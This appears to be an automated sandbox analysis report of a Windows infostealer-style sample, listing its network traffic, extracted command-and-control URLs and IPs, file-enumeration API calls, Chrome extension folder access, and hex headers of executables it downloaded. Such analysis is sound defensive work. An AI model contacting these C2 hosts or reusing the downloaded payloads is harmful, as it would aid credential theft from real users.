Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:49202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.28.36.182:443 -> 192.168.2.7:49233 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: cda9e1cbbc.exe, 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmp, mozglue.dll.19.dr
Source:	Binary string: nss3.pdb@ source: cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.19.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.19.dr, softokn3.dll.19.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.19.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.19.dr
Source:	Binary string: nss3.pdb source: cda9e1cbbc.exe, 00000013.00000002.2600481019.000000006CCEF000.00000002.00000001.01000000.00000014.sdmp, nss3.dll.19.dr
Source:	Binary string: mozglue.pdb source: cda9e1cbbc.exe, 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmp, mozglue.dll.19.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.19.dr, softokn3.dll.19.dr

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	19_2_0040D8C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	19_2_0040F4F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	19_2_0040BCB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	19_2_004139B0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	19_2_0040E270
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	19_2_00401710
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	19_2_004143F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	19_2_0040DC50
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	19_2_00414050
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	19_2_0040EB60
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	19_2_004133C0

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 0MB later: 97MB

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://85.28.47.31/5499d72b3a3e55be.php
Source: Malware configuration extractor	URLs: http://85.28.47.31silence
Source: Malware configuration extractor	IPs: 185.215.113.19

Source: global traffic	TCP traffic: 192.168.2.7:49223 -> 20.52.165.210:39030
Source: global traffic	TCP traffic: 192.168.2.7:49240 -> 185.215.113.67:40960

Source: global traffic

TCP traffic: 192.168.2.7:49198 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:57:31 GMTContent-Type: application/octet-streamContent-Length: 256512Last-Modified: Fri, 26 Jul 2024 06:44:15 GMTConnection: keep-aliveETag: "66a345bf-3ea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c3 7d b8 f5 87 1c d6 a6 87 1c d6 a6 87 1c d6 a6 e8 6a 7d a6 9c 1c d6 a6 e8 6a 48 a6 97 1c d6 a6 e8 6a 7c a6 e4 1c d6 a6 8e 64 45 a6 8e 1c d6 a6 87 1c d7 a6 f6 1c d6 a6 e8 6a 79 a6 86 1c d6 a6 e8 6a 4c a6 86 1c d6 a6 e8 6a 4b a6 86 1c d6 a6 52 69 63 68 87 1c d6 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 37 fc 16 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 18 02 00 00 92 03 02 00 00 00 00 5c 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 05 02 00 04 00 00 03 cc 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 58 02 00 64 00 00 00 00 80 04 02 18 e3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 59 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 53 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 18 02 00 00 10 00 00 00 18 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 58 32 00 00 00 30 02 00 00 34 00 00 00 1c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 09 02 02 00 70 02 00 00 b6 00 00 00 50 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 18 e3 00 00 00 80 04 02 00 e4 00 00 00 06 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 06:57:34 GMTContent-Type: application/octet-streamContent-Length: 91648Last-Modified: Fri, 26 Jul 2024 06:15:46 GMTConnection: keep-aliveETag: "66a33f12-16600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 62 05 40 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 0c 01 00 00 56 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 71 01 00 c8 00 00 00 00 90 01 00 9c 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 74 01 00 2c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 63 6f 64 65 00 00 00 f0 37 00 00 00 10 00 00 00 38 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 c2 d2 00 00 00 50 00 00 00 d4 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9d 33 00 00 00 30 01 00 00 34 00 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 17 00 00 00 70 01 00 00 12 00 00 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 9c 0f 00 00 00 90 01 00 00 10 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 06:57:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 